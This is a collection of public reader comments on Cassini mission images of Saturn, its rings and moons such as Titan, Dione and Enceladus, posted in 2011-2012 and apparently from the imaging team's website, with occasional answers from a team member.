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Hey, beautiful collage!!! What is that red spot at de left of the lightning? Many thanks for sharing your works.
Best regards, Ricardo

Enceladus 'Rev 165' Raw Preview #4
Dragon_of_Luck_Mah_Jonng1971      
07-13-2012  19:55:42

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Impressive view of Enceladus, the white moon of Saturn. Fascinating graben at the upper right.

Dione 'Rev 165' Raw Preview #3
Dragon_of_Luck_Mah_Jonng1971      
07-13-2012  19:51:33

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There's an interesting tectonic feature running from the top to the bottom. There's a second one, more subdued, that is right to it but then it's curved at the lower right, making it look rather like the right rim of a degraded crater with no left rim anymore , I suppose.

Dione 'Rev 165' Raw Preview #6
Dragon_of_Luck_Mah_Jonng1971      
07-13-2012  19:17:11

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At the bright crater that is at the middle of this image approximately there is a special feature. It's 2 parallel-running cracks ( at least looking like such ones. ) . They are to the upper right of this crater. They could have been caused by a small landslide of the crater's ejecta, I suppose.

Dione 'Rev 165' Raw Preview #2
Dragon_of_Luck_Mah_Jonng1971      
07-13-2012  19:02:14

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There's a curved feature running thru this image, caused by tectonic processes, I suppose, a graben.

Bright Ejecta
Dragon_of_Luck_Mah_Jonng1971      
07-13-2012  18:00:52

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'landslide' , not 'landlide' . Sorry for that
Dragon_of_Luck_Mah_Jonng1971      
07-13-2012  17:58:59

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At the right one of the 2 larger craters at the middle of this image there is an interesting landlide, I suppose. It's running from the 8 o'clock to the 11 o'clock position of that crater.

Geetings from the Dragon of Luck.

Titan's Swirling South Polar Vortex
GorT>      
07-12-2012  21:19:48

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Speaking of ephemerides...when are the stars going to align again, C.P..? What about the coincidence of 2012; year of the dragon in the Chinese calendar and the 11 year solar maxima occurring now? How did they know?

Hazy Ring
HUGO       
06-24-2012  15:25:35

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ALIEN AN IMAGE OF TITAN , A WORLD OF LIQUID METHANE , WHERE THE DUNES MEANDER ALONG TITAN OF ECUADOR WHERE WINDS OF ADRESS CHANGE EVERY 29 YEARS , A WORLD APART .....

Methone 'Rev 166' Raw Preview #1
HUGO       
06-24-2012  15:18:01

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AMAZING SATURN SATELLITE IMAGE , METHONE , SUNLIT JUST IN THE DISTANCE .......
Dragon_of_Luck_Mah_Jonng1971      
06-17-2012  16:38:47

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The shape of this moonlet is a great surprise for me. Even after the surprises with Prometheus, Calypso and Helene I didn't expect it to be shaped almost perfectly like an egg ( taking as a fact that its shape is the same one in the small darkened area what I suppose to be like the lit one very probably ) . It is only 2 miles across.
The Story of Saturn's F Ring
sunwell      
06-10-2012  07:46:35

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It is time for the universe of meaningless.Maybe it's secret is all around us.exploration never sleep.
sunwell      
06-03-2012  03:48:33

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Life is not the result of the most valuable it is a process.
thespis2717      
05-15-2012  00:17:39

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I must say that the Cassini images of Saturn's total solar eclipse are some of the most beautiful spectacles I've ever seen. It is truly awe-inspiring, and the team who looks over these missions deserves a standing ovation that lasts so long they become annoyed with the sound of applause. Tremendous work!
GorT>      
05-11-2012  09:54:24

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Carolyn, I'm deeply enamored by ring geology...It can't just be all ice and dust. There has to be some remnants of precious metals in there. Maybe a form of fuel, if we ever travel out to Sextor six...Maybe you could pilot Cassini through the ring...I'm sure you'de probably have to change your orbit, to more of a North-South heading...
GorT>      
05-11-2012  09:53:33

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Carolyn, I'm deeply enamored by ring geology...It can't just be all ice and dust. There has to be some remnants of precious metals in there. Maybe a form of fuel, if we ever travel out to Sextor six...Maybe you could pilot Cassini through the ring...I'm sure you'de probably have to change your orbit, to more of a North-South heading...
GorT>      
05-11-2012  09:52:57

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Carolyn, I'm deeply enamored by ring geology...It can't just be all ice and dust. There has to be some remnants of precious metals in there. Maybe a form of fuel, if we ever travel out to Sextor six...Maybe you could pilot Cassini through the ring...I'm sure you'de probably have to change your orbit, to more of a North-South heading...
sunspot51      
05-07-2012  18:28:10

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Can someone give me an idea of the approx ratio of ice to non-ice in Saturn's rings. An overall estimate would do. Or maybe point me to a solid source of that information.

Thanks!!
Paul Maxson
sunspot51@cox.net
Larrythebassman       
05-03-2012  02:14:04

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WOW_Jupiter's_RINGS_the New Horizon.
WOW_thank you _so much
sunwell      
04-29-2012  19:15:40

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The rest of us really are suckers.
sunwell      
04-27-2012  08:54:51

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More and more.
GorT>      
04-26-2012  23:13:56

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F ring...I mean G string...!
rochelimit      
04-24-2012  10:39:38

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Amazing amazing amazing amazing amazing!
NeKto      
04-24-2012  08:02:41

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our faithful robotic friend out there in orbit around Saturn, and the talented crew who direct it, have teamed up to give us another spectacular set of images.
Great Job Team!
thanks again.

Splitting Titan
NeKto      
05-28-2012  17:30:05

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What a fascinating planet. even tho it is orbiting another fascinating planet.
i remember in grammar school being taught that planets were very rare in the galaxy and planets with atmospheres had to be even rarer. i never could reconcile that with the fact that the only star we were close enough to detect planets around had nine we could see. Seven of the nine had atmospheres we could detect and most of the planets had planets. now our technology has reached the point where my skepticism has been justified. we have a wonderful collection of worlds in our solar system. what great fun it is to be able to share in close observations of so many of them. what great fun those who follow us will have when they can share similar observation of what we call exoplanets.

Ring Moons' Effects
Judit      
05-14-2012  13:53:40

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I notice this was taken a year ago. Makes me wonder, how many images does Cassini transmit a day? Is each and every one of them cataloged, analyzed, and captioned before release? Or do some of them get discarded due to bad quality or any other reason?

I like this one (well, all the ring images, in fact) very much. I'm absolutely in love with the rings and I'm trying to find out as much as possible about them. As much as I can comprehend, that is... :) What does it take, besides experience, obviously, to tell what a gap or wave or any disturbance in a pattern may indicate? It blows my mind every time I look at an image like this, that there are people who can even guess how those tiny ripples came to be. For now I'm happy if I can tell the rings apart :)

Uranus - family portrait
niterider460      
05-12-2012  14:38:33

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awesome

Enceladus and Dione Rev 165 Raw Preview
Judit      
05-07-2012  13:08:16

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Aw, no more Enceladus for a while :-( Can't wait for the May 22 Titan flyby though! Thanks for sharing these images. They are beautiful and breathtakingly detailed. To think how close the spacecraft was to these bodies, and to think how far it is from us... Mind-boggling!
NeKto      
05-07-2012  08:41:49

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i also find that scale makes a difference. i only have this problem with high resolution images. the greater the actual area the image covers, the less likely i am to see the craters "inverted."
CarlinForsyth      
05-05-2012  18:18:12

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You are correct in wanting to turn the images upside down. Your brain has learned to "know" that light comes from above. When that perspective changes as in these images you "see" incorrectly. I have seen this even in a Newtonian telescope when viewing the Moon. A book titled "Visual Intelligence" helps to explain this and other ways that your vision is a construct. Its a very interesting book. Hope this helps. And yes with a little practice you can "flip" them in your mind. I think some details become easier to study when inverted, if you will.
NeKto      
05-04-2012  08:37:25

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I have the same problem with most of the high res images of the icy surfaces. i thought it was just me. (glad to know i'm not alone!)
even tho i know i am seeing craters, my brain still interprets the images as mounds. every once in a great while, i can change my perseption and see the craters. wish i knew how to do it all the time.
lsludwig1      
05-03-2012  15:15:31

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Is it just me or is it difficult to overcome the optical illusion in the closeup Dione photos that the craters look instead like mounds. I've turned my head sideways this way or that and I am unable to view these photos correctly. Perhaps if I download them and turn them completely upside down. Or maybe they really are undiscovered mounds - Ha!

Enceladus 'Rev 164' Raw Preview #3
Dragon_of_Luck_Mah_Jonng1971      
04-28-2012  14:28:05

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My rating would be '11' .

Phoebe: A Captured Planetesimal
Breitstar      
04-28-2012  00:24:33

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I don't know why I'm captivated by Phoebe. It must be the sharp lines and ice, like she was an Olympic bobsledder. Skating in from the Ort cloud she saw Saturn and was drawn to her beauty.

Tethys 'Rev 164' Raw Preview #2
thetonster      
04-25-2012  04:39:31

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R164 raw 2 shows mostly crater-saturated terrain, but in the upper left quadrant a couple of features are noteworthy.
The first is that Fault scarp from the large, irregular crater to the double crater (likely due to a simultaneous impact of two bodies).
The scarp casts shadows along 2/3 of its length, then suddenly changes to a bright cliff; this suggests a rotation has occurred on an axis normal to the fault.
Second is a lobate flow, off the rim of North Dike crater, whose sharpness of form makes it seem to float above the underlying landscape. It appears to be a viscous flow, rather like Pahoehoe lava, in contrast to the loose-matter flows in South Dike crater.
Crater chains abound in this scene, too.
Tethys is definitely interesting, and probably has more surprises for us.

Enceladus and Tethys Rev 164 Raw Preview
GorT>      
04-17-2012  10:19:26

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Could Enceladus be a potential Earth if spicules, I mean...extremophiles really are erupting from Enceladus? The pressure of liquid metallic hydrogen fusion suggests that Jupiter, Saturn or dare I say, Uranus could turn into a Star one day...It would be nice to sample Saturn's interior, i.e. liquid metallic H2 if we could capture it with a probe, or replicate it wholesale on Earth!

A Smudge of a Shadow
sunwell      
04-15-2012  08:13:08

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I'm very excited to here.

Hazy Orange Orb
Dragon_of_Luck_Mah_Jonng1971      
04-14-2012  18:16:40

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Fantastic image of Titan showing many details.

Enceladus, Janus and Dione Rev 163 Raw Preview
GorT>      
04-14-2012  17:42:32

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So are we talking spicules here? Sodium...sounds like you're setting up conditions for the Miller-Urey experiment...Why not turn Cassini's gaze toward the interior of Saturn, Titan or Hyperion...so pretty! All hail liquid metallic Hydrogen!
GorT>      
04-01-2012  13:01:18

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God must have used science for the immaculate conception...But so many people have foregone God to get to science...?
libbydaddy      
03-28-2012  20:44:07

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Is there an "11" for those fountain pics?!? That moon has been exciting, enticing and awesome from day one.
gloetzel      
03-28-2012  20:13:27

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Wow!!! Great Job!!! Thank You for your hard work.

Night Into Day
Gianni      
04-01-2012  15:21:15

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The room of the Universe!!

Janus 'Rev 163' Raw Preview #1
tish      
03-29-2012  06:06:48

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Woa, Carolyn...to get such a shot of Janus is amazing to me, such a speedy little guy must have been an engineering challenge. Congratulations. We are all so proud of your work.

Haze Before Ice
NeKto      
03-17-2012  08:01:55

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Another source lists the atmosphere on Titan as 600 Kilometers deep. they must be counting the real wispy stuff. either way the ice ball has a very thick envelope around it. no wonder impact evidence is so hard to come by.
NeKto      
02-21-2012  08:12:04

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I just looked up the gravity on Titan; 0.14 Earth gravity.(didn't think of doing that before i asked here)
for Titan to maintain 1.5 atmospheres pressure at 0.14 G, there has to be one heck of a mass of gas in those 200 kilometers of atmosphere.
i nominate Titan for a new class of solar system bodies; Gas Midget.
a hot 'air' balloon aught to work like gangbusters up there.
NeKto      
02-15-2012  11:16:30

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What is the gravity on Titan?
GorT>      
02-03-2012  19:23:59

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If the Northern pole is somewhat composed of CO2, then there must be a small thimble of breathable O2 at the very top.
NeKto      
01-27-2012  09:35:05

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not Tital, Titan.
(i hate when my fingers hit the wrong key)
NeKto      
01-27-2012  09:32:58

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when i mentioned that i know it is raining on Tital, i should have added an LOL.
as to Where i have been; Golfing on Iapetus!
NeKto      
01-25-2012  12:58:17

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Carolyn; i know that. the higher condensation temperature might help me wrap my mind around those great 'gas' lakes. Do we have any measurements that can tell us anything about how much of that rain is ethane?
if we had that much liquid methane available down here, we would really have a greenhouse gas problem!
carolyn      
01-24-2012  09:45:41

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NeKto: Where have you been?! ;-) It IS raining methane on Titan!!
NeKto      
01-24-2012  08:09:26

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200 kilometers deep! you can orbit Earth at 200 kilometers. how much does the 1.5 atmosphere presure raise the condensation temperature for ethane and methane? that much presure should make it easier to rain.
what a fascinating system! what a colection of extremes. Titan's atmosphere; the "paint job" on Iapitus; the gysers on Enceledus; the weather on Saturn; and the whole ring thing.
when do we get a half dozen more probes up there to study all this big time? (yeah, right)
Kliitu      
01-14-2012  16:43:37

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I hate Bud Ice! Does the polar hood have anything to do with the atmospheric ice suspension? Could one say the polar hood is over 50% O2?
NeKto      
01-03-2012  08:32:02

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as i recall, the depth of Titan's atmosphere is rather asounding as well. how does that compare with other solid surfaced objects in the solar system that have atmospheres? i believe that the depth of atmosphere in relation to size has to be the greatest.
NeKto      
12-28-2011  08:33:11

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hefty and cold too. dense stuff down (up?) there. maybe the next probe this planet sends to Titan should be powered by a wind generator.
carolyn      
12-24-2011  13:54:41

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NeKto: The atmospheric pressure at the surface of Titan is about 1.5 times what it is here on Earth. It's a very hefty atmosphere!
NeKto      
12-23-2011  15:14:38

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Hello Team.
Do we know what the atmospheric presure is on the surface of Titan? i don't recall seeing it published anywhere.
if you do know, please, What is it?

Dione on a Diagonal
NeKto      
03-03-2012  07:53:49

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Just read on the NASA site today; Dione has an oxygen exoshpere.
the Saturn system is full of interesting, and often surprising, objects.
Ed Rolko      
01-30-2012  14:44:00

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Wow great resolution, what a shot!

Beside a Giant
NeKto      
02-27-2012  09:40:59

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Titan is not a small object. but this really gives a sense of scale. what a fascinating system.

Rhea Before Titan
stowaway      
02-13-2012  06:54:11

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another beauty

Closest Dione Flyby
enceladus5      
01-16-2012  22:35:55

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What a beautiful image. Prometheus and Epimetheus make nice additions for the dione flyby.We get three moons for the price of one.

Welcome Disruption
nina      
01-13-2012  17:42:46

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So very thrilling to see the light & shadows on these moons of Saturn.
stowaway      
01-09-2012  16:42:03

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they just keep getting better and better

Dione 'Rev 158' Raw Preview #2
carolyn      
01-09-2012  08:47:15

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NeKto: Titan's atmosphere is about 200 hundreds kilometers deep and *I think* that includes the upper (bluish) haze layers but am not sure.
NeKto      
01-09-2012  08:08:24

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There certainly is a lot of "air" around that ice ball! the only atmosphere in our solar system that comes to mind for comparable depth and presure is Venus. very deep, a lot more presure, but a lot more gravity as well. To say nothing of way more heat.
1.5 atmospheres with Titan's gravity is one heck of a lot of gas. the "visible" atmosphere above the orange cloud deck is very deep to the unaided eye. are we talking hundreds of kilometers from detectable atmosphere to surface?
carolyn      
01-08-2012  14:06:15

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Welcome jaygee and all other new Alliance members! Hope you enjoy yourselves here. And to Nekto: The ratio of the depth of Titan's atmosphere to its radius is indeed large, because its gravity is weak compared to that of a larger body, like Earth's. Remember its surface pressure is about 50% greater than that of Earth's, which mean its atmosphere is substantial!
jaygee      
01-08-2012  03:18:08

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Just Become a member, so I'm Strapped in my seat & I'm Ready to Join other members for this Out of this World Journey, Hi Everybody....
Robert      
12-31-2011  21:31:41

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I too feel like I'm there. And in a sense we are through Cassini which was only about 93,000 km from Dione at the time (less than 1/4 of the distance between the Earth and our Moon). By the way, the moon emerging from behind is Mimas (over 610,000 km away from Cassini). In raw image #3, Mimas is just going behind Dione. South is up.
NeKto      
12-13-2011  08:54:44

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kennyfrew; one of the things i find most amazing is what we see here is mostly water ice. not lava flow, ice and snow. it is mostly floe.
kennyfrew      
12-12-2011  20:18:07

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Wow! Are those lava flows? I feel like i'm there-Amazing.

Orange and Blue Hazes
Dragon_of_Luck_Mah_Jonng1971      
01-08-2012  23:16:43

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My rating would be '12' .
Dragon_of_Luck_Mah_Jonng1971      
01-08-2012  23:08:59

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Otherworldly fascinating ! Absolutely amazing !

Undoubtfully one of the best color images of the mission. Congratulations !

Looking to me far more like an orange giant planet ( not Saturn ) ( not Jupiter ) with a blue ring , but the ring being far too thick. The 'ring' has got a 'gap' at the right of the image where the color is more orangish letting the 'planet' shine thru.
Of course my scientific point of view says that this is not the case. It's Titan, the large orange moon of Saturn. I suppose that at the right the more orangish part within the blue haze is where the bluish haze is thinner letting shine thru the orange one partially.

Red_dragon      
12-22-2011  16:39:44

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Superb contrast of blues and oranges on that closeup; it looks as if there was other largue body behind Titan.

Holiday Treats ... from Us to You
Alikshi      
01-05-2012  11:54:40

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Stunningly beautiful! Thank you.
Breitstar      
01-04-2012  20:06:27

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Can you see through the haze of Titan at night
and view the sights passing by?
Maybe our kids can try this out.
I'd sure like to try!

Breathtaking as always!
NeKto      
12-30-2011  13:14:36

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Hello Team!
thanks for another year of breathtaking images and intelectual stimulation. Keep up the great work! as is said in Russian; Vsevo Khorosheva! Everything Good! (it is a wish. not an observation.)
NeKto aka Aleksei
stowaway      
12-29-2011  01:09:06

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Thank you - Merry Christmas
saarmason      
12-26-2011  08:21:34

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Wow! What beauty and wonder there is in the Saturnian System ! Thank you for this wonderous Christmas treat. It's like we are in space gazing through a porthole in our ship taking in these perfect visual records of one of our system's most beautiful planets.
Much appreciated!
bruno.thiery      
12-26-2011  02:16:57

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We are very fortunate indeed.
The Voyager spacecrafts awoke our imagination then Cassini filled it with wonders beyond it!
Regarding the Ancients, we should give them the credit that they gave the name of their gods to these specks of light they saw wandering through the night skies. That is not nothing.
Thanks and Merry Christmas and Happy 2012 to the CICLOPS team and supporters!
carolyn      
12-24-2011  14:19:49

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Robert: Yes, that is a wonder-filled realization, isn't it? That humankind has its machines in orbit around all of those planets that to the ancients were nothing more than moving lights. We've come far, haven't we?
Robert      
12-24-2011  04:56:39

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This is a beautiful series of images showing many of the perspectives and details that make the Cassini Mission so fascinating to follow. Especially in color!! Wow!! The other day, in the pre-dawn sky, I saw the bright lights of Mercury, Saturn and Mars forming a line across the orbital plane. And it warmed my heart to know that our spacecraft are out there among them, and through their instruments scientists are right now exploring the mysteries and wonders of our solar system neighbourhood, and giving us in return such delights for the eyes and insights for the mind.
NeKto      
12-23-2011  15:12:02

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What a wonderful way to celebrate Saturnalia! (a ten day ancient Roman holiday starting on the winter solstice, or so i'm told)
Those ancient Romans didn't have a clue about the real majesty of the planet and system they gave the name to.
umpireplb      
12-23-2011  07:07:37

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Look closely between Titan and Tethys... I could swear I see a sleigh being pulled by a crew of flying reindeer. Merry Christmas to all, and to all a good sight!
tonyfisher      
12-22-2011  23:50:18

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A real Xmas treat - it never ceases to amaze how such wonderful pictures taken so far away can end up on my laptop. From Northern Ireland 'seasons best to everyone'
ColinH      
12-22-2011  17:04:25

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Excellent imagery again ! Congratulations and thank you for this Happy Solstice present. Season's Greetings to the CICOPS team from your friends at the Royal Astronomical Society of Canada.
Red_dragon      
12-22-2011  16:37:07

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Awesome stuff as usual. Thanks, CICLOPS, and have a merry Christmas and a happy 2012 as well as the other members of Sector 6.

Dione 'Rev 158' Raw Preview #5
Robert      
12-31-2011  22:34:17

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I think it's great that Cassini captured Pandora (on the left of Janus) coming into view just after a similar event with Prometheus (raw image #4). This makes for a delightful image pairing. For the level of detail, I think this is the best multi-moon view with Pandora ever. The most detailed images of Pandora by itself that I've found in the "imaging diary" are PIA07632 from 2005 and PIA12690 from 2010.

Dione 'Rev 158' Raw Preview #4
Robert      
12-31-2011  22:03:11

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This is a rare image of Janus (left) and Prometheus together with Dione, because of their closeness together and the level of detail. From what I've seen in the "imaging diary" it's been 6 years since Janus and Prometheus appeared in such detail together (search for pia08192), though both of them were imaged separately in higher detail in 2009 and 2010.

Dione 'Rev 158' Raw Preview #3
Robert      
12-31-2011  21:10:31

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For those who wish to know, the moon behind Dione is Mimas just entering its occulation. It took about 5 minutes to emerge (see raw image #2). South is up.

Birth of a Behemoth Storm
Angiras      
12-27-2011  17:55:06

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Is Cassini capable of doing a spectral analysis of the 'Storm'? If so what was discovered? I'm betting lots of water.

Titan and Dione
Marcia      
12-23-2011  11:05:21

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Holiday Greetings to all!
Wonderful times we're living in when we can be so priviledged to see these images! Thank you CICLOPS team! Seeing these images of our neighbor 'worlds' unlike ours really take my breath away(no pun)... stunning and humbling.
Merry Christmas and may the new year continue to be a prosperous one for all of you and those that visit here to experience this adventure. THANK YOU!
carolyn      
12-22-2011  18:52:25

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Sergio and company: Every time we release images to the public -- if they are special enough -- they are posted by a `fan' of mine on Facebook under facebook.com/carolynporco Hope that helps. Enjoy!
jsc248      
12-22-2011  17:49:18

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Hi All,
Merry Christmas and a Happy New Year to all at CASSINI and all around the world.
These images are so beautiful and thought provoking. While I am looking at these I am thinking that these and all of the Solar System and beyond are out there now, endlessly falling through space with the Earth falling with them. I find it absolutely mindbending, the shear beauty of the universe lets the imagination run riot!!
Red_dragon      
12-22-2011  16:38:29

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This one is the best of all; just note how looks the haze on Titan's upper atmosphere in front of Saturn.
Sergio      
12-22-2011  15:24:04

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Dear Friends, is time to put a Facebook button to share these wonders immediately.
It is quite absurd that one must copy and paste a link to make his friends know about these incredible pictures!
Merry Christmas and splendid new year to you all!
Love

Sergio (Italy)

Titan Upfront
astroboy70      
12-22-2011  17:36:59

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I love this picture because it gives you a real sense for how HUGE Saturn is.

Dione 'Rev 158' Raw Preview #1
Dragon_of_Luck_Mah_Jonng1971      
12-17-2011  10:07:19

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At the middle of this image there's an impact basin, I suppose. It's looking rather degraded. It has got 2 rings and a central peak, I suppose. It's looking similar to the Odysseus Basin on Tethys and less similar to the Herschel Crater on Mimas, I suppose.
At my first glance I didn't notice it and this image looked more boring.

Dione Rev 158 Raw Preview
stowaway      
12-15-2011  00:35:31

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Once again the imaging team has produced some pretty amazing pictures.

Rev158
NeKto      
12-11-2011  12:04:32

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i really look forward to the gravity pass of Dione. my guess is rocky core and ice mantle.

The Saturn Storm Chronicles
carolyn      
11-21-2011  11:58:40

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Everyone: There is in fact a paper about this storm that a small group of us imaging team members have written. It has just been submitted, and so now we sit and wait for the review process and hopefully publication. We can't yet answer some of your more detailed questions. But know that this discovery and the opportunity it presents will be receiving a lot of attention over the coming months and years. Scientific investigation requires a certain suite of skills and traits, and patience is one of them! In the meantime, thanks much for your appreciation of our work. I really wanted to make this release special, and I'm happy that it has been so well received. Best to all of you!
NeKto      
11-19-2011  14:28:43

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I like dholmes requests. i would like to see everything on his list. the weather we experience on this planet, storms are powered in part by the energy of phase change; the release of heat going to liquid or solid from a gas, or the absorption of heat going to the vapor phase. is there any evidence of such prosesses going on in this storm? what chemicals might be "raining" from one elevation to another?
cwisbell39@yahoo.com      
11-18-2011  17:44:28

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Fantastic storms, great photographs. The good is getting better each time!
Keep up your great works!
Scott McVicker      
11-18-2011  17:43:35

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Instead of a volcano, I would look to an impact of one small, dark asteroid. Enough to cause the intial roiling - dark enough to have escaped detection prior to impact on the far side of where the orbiter was positioned at that time.
dholmes      
11-18-2011  12:37:35

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Are the bright reflecting colored gases indicating highest atmospheric elevation due to reflectance of sunlight? If so the darker gases then must be at a lower elevation in Saturn's atmosphere, and by that reasoning (bad or good) would lead to subduction of the heavier lower gases by the lighter (higher atmospheric elements)gases of Saturn?
dholmes      
11-18-2011  12:05:53

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Yes I would like to weigh in also about the need for a spectral legend or graph as well as a convection range (elevation) chart of some sort to better understand the physical processes going on. Thanks.
NeKto      
11-18-2011  11:26:51

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another great set of images. i was wondering why we weren't seeing more images of this storm; you folks at CICLOPs have been saving up. Is there any information on the chemisrty, temperature and presure in these storm clouds? i wonder what kind of percipitation there might be, if any. as a surface bound terestrial, i can't help but imagine some sort of rain, sleet or snow howling from that monster storm.
dholmes      
11-18-2011  10:54:53

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This is beyond expectations of anything I could imagine. The importance of work like this provides mankind a blueprint for future space travel to our own Solar System and hopefully to the very stars of our own night sky. Good job Carolyn and crew!
Red_dragon      
11-18-2011  03:36:22

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+10. Superb stuff as usual. Keep up the good job, CICLOPS!.
edkablukov      
11-17-2011  18:38:15

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I think it is may be a volcano.
ml39612      
11-17-2011  16:51:16

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Dollinks,

Might not the latitude of those storms, and perhaps those of the southern bands and the Great Red Spot as well, have something to do with the apparent latitude of the Galactic Center as viewed from Saturn?

ml39612@gmail.com

Churning Psychedelia
mic1303      
11-18-2011  06:44:04

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Fabulous images!!

Hiding Little Brother
Tonster      
11-18-2011  04:09:44

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Yet another spectacular picture. There appear to be two Sulci spewing by Enceladus South Pole. Which puzzles me: The Saturn system rotates in the same sense as Earth, which means Enceladus and Epimetheus have to be moving rightwards, as Saturn itself is off Stage Right. Cassini was outside both satellites orbits at the time. Wouldnt that therefore make their sunlit parts the Trailing Hemispheres?
Tonster      
11-18-2011  04:05:50

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Yet another spectacular picture. There appear to be two Sulci spewing by Enceladus South Pole. A puzzle arises in the caption, though; The Saturn system rotates in the same sense as Earth, which means Enceladus and Epimetheus have to be moving rightwards, as Saturn itself is off Stage Right. Cassini was outside both satellites orbits at the time. Wouldnt that therefore make their sunlit parts the Trailing Hemispheres?
NeKto      
11-16-2011  12:14:59

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After i do all my "buzy" work on the web, I come hear. there is always something pleasant to look at. this image is another example of what draws me here. Carolyn one told me she hoped i came here first. I think i pay a higher compliment by comming here last.
enceladus5      
11-14-2011  19:29:39

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What a beautiful image. More proof of the complexity and serenity of the Saturnian system. Thanks Cassini.
Red_dragon      
11-14-2011  17:58:48

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Yet another fascinating perspective trick; it's hard to believe both moons are separated by many thousands of kilometers and not nearly touching. Keep'em coming.

Nearly True Color Storm Close-Up
jsc248      
11-17-2011  15:53:47

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What an amazingly detailed storm image this is. The detail within the cloud system is simply breathtaking!

A Scarred Moon
NeKto      
11-12-2011  09:42:29

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This image give the impression that the Ithica Chasma run perpendicular to the apparent line of impact that created the Odysseus Crater. Suggesting the hypothesis that the creation of both is somehow related.
any evidence to suport or falsify that hypothesis?

Enceladus 'Rev 156' Raw Preview #2
Robert      
11-09-2011  04:32:52

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Another brilliantly coordinated and detailed image of the jets. I particularly like these images because they show how the jets follow the contours of the tiger stripes that we've seen in other images. These different views combined with earlier spectral and partical analyses of the plumes give me a wonderful sense of perspective and understanding.

Spongy Hyperion
meneros      
11-05-2011  05:21:38

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Hiperion, fascinantno
meneros      
11-05-2011  05:20:08

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%8?5@8>=, D0AF8=0=B=>.

Enceladus 'Rev 155' Raw Preview #2
tonym      
11-01-2011  06:01:29

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The very sharp delineation and elevation difference between the upper and lower parts of the surface, and the apparent direction difference of 90 degrees between their markings is most intriguing. Has any explanation for this been suggested yet?

In, Around, Beyond Rings
NeKto      
10-26-2011  12:21:12

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i guess i'm not the only one who thought this was well composed. another APOD image. i am not surprized.
NeKto      
10-24-2011  11:34:05

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Great photogaphic comosition. Either our robot friend out there has one heck of an eye, or you folks down here are doing one heck of a job pointing the camera. Another example of outstanding artistry.
stowaway      
10-24-2011  10:00:00

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Coolest picture yet!
Red_dragon      
10-24-2011  07:51:06

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Jaw dropping image. Keep this superb stuff coming as before.

Enceladus 'Rev 154' Raw Preview #4
Dragon_of_Luck_Mah_Jonng1971      
10-24-2011  19:08:05

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Interesting ! There's another moon behind Enc.

Enceladus Rev 155 Raw Preview
Wayworld      
10-24-2011  11:25:22

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dholmes, Very good comment! I've been fascinated with the point of view thing for some time, Macro, Micro, Albedo, Wavelengths, Resolution. It's amazing what information can be found in seemingly small packages.
Thanks for the pictures! Are there any color pictures available?
dholmes      
10-20-2011  06:00:52

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That may be true mhovland as in your example of serpentinization, but if you study the history of science and discovery in general you will notice that there are many pieces to the puzzle of "what's out there". Forgive this simple analogy but allow me to mention the following. Say for instance you are at the beach and you are standing on the shore looking out. You see nothing but a flat blue lifeless horizon of ocean. No signs of life anywhere. A friend comes along and invites you to go with him on a plane ride up the coast. Now you are flying over the same beach looking down, and you notice something. Less than 50 yards from where you were standing is a school of mullet being chased by 5 or 6 large Tiger sharks that moments before you never knew were there. That is basically one of the principles of discovery. Its all a matter of changing one's point of view.
mhovland      
10-19-2011  23:48:43

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So sorry for dissappointing you believers in organisms for the development of the observed gas jets from Enceladus. However, there are many different processes also operating on Earth that produce abundant CO2, H2, or Methane, CH4. These are inorganic substances that are produced by the earth and other underground processes involving water and rock at elevated temperatures. One of the most important such process is serpentinization, that produzes abundant amounts of these common elements.
Lee      
10-19-2011  22:51:03

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Dear team,

Congratulations!

Very, very well done!

Lee in St. Paul

A Quintet of Moons
Dragon_of_Luck_Mah_Jonng1971      
10-23-2011  16:52:51

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bruno.thiery: Yes, you're right, it has got the sci-fi look.
bruno.thiery      
10-09-2011  03:16:29

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Lots of wonderful features on this image.
It has the sci-fi look with all those many worlds in one single image.
But also its small surprises and trompe-l'oeil style.
With Rhea seeming to take the place of Saturn, and with the rings looking like they are taken from the unlit side, you really need to read the explanations to decipher it correctly.
Thanks Cassini imaging team, beautiful job again.
NeKto      
09-23-2011  09:48:12

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OOOPS! my mistake. it wasn't APOD, it was the top of the "images" page at nasa.gov.
i still enjoyed looking at it.
NeKto      
09-22-2011  12:48:05

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another of our favorites makes APOD!
i stil like looking at this one, and so many others. great composition on this image!
Breitstar      
09-14-2011  21:43:45

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So you ask yourself... does Carolyn ever get board with this job.... nope!
Breitstar      
09-14-2011  21:40:39

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Sometimes you just run out of things to say when something like this is so lovely, captivating, inspiring...
NeKto      
09-13-2011  14:41:15

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another image i just like looking at, over and over.
jmcgarry      
09-12-2011  14:42:58

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Fabulous image, kudos to the Team! Instant new desktop wallpaper. Now I can pretend I'm on the Valley Forge. :-)
NeKto      
09-12-2011  13:17:55

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thanks again, team.

Rhea Lit at Night
Dragon_of_Luck_Mah_Jonng1971      
10-23-2011  16:48:56

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Rab09: I think it's the slope of a rift valley. Below it is running the valley's other slope. The valley is wider to the right.
Rab09      
09-21-2011  13:10:40

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The uplift, fissure seen running right to left (middle)in photo. Any idea how it was formed?

High-Res Helene
Dragon_of_Luck_Mah_Jonng1971      
10-23-2011  16:28:50

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Very few craters, a smooth surface -- Very amazing !

And a lot of new formations looking very interesting.
( A lot to see on such a small moon )
Iapetus Monolith      
08-26-2011  13:45:58

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Dear Helene, how did you get to be such a smoothie? Dear Ciclops, again you take my breath away ... you people are worth your weight in gold.
Robert      
08-25-2011  22:26:11

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The depth of detail of the impact grooves is spectacular! The formations are both striking and unusual. It never ceases to amaze me the skills of the imaging team, and those of the spacecraft's navigators.
rochelimit      
07-16-2011  09:51:53

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Wow, amazing gravity . . .
Red_dragon      
07-04-2011  07:48:44

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Great stuff as always. It's really interesting to observ how Helene has so few (and little) craters, in concordance with being a pile of rubble.

Mimas '12MI' Flyby Raw Preview #3
Dragon_of_Luck_Mah_Jonng1971      
10-23-2011  16:16:39

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wmdewease: It's one third of Mimas' diameter.
wmdewease      
07-08-2011  10:49:10

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What is the size of the crater compared to the moom Mimas?

Enceladus 'Rev 155' Raw Preview #3
Robert      
10-22-2011  20:07:28

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The details of the jets are quite good even at this distance. This is one of the best images since the amazing one of November 2009 (PIA 11688). From the relative distribution of jet sources, I'm guessing that Damascus Sulcus is on the left (ref. Sulci map of October 2007, PIA 08385). I eagerly anticipate the details from the closer flyby on November 21st. I wonder if seasonal changes have any affect on the plumes? I imagine that the dynamics of the jets overide any effects from solar radiation.

Light from a Flickering Star
raketenflugplatz      
10-21-2011  12:59:20

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brilliant picture

Pan's Effects
raketenflugplatz      
10-21-2011  12:08:28

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greatest vinyl record I have ever seen! ;)
A Great Northern Storm
Shechaiyah      
10-12-2011  21:40:17

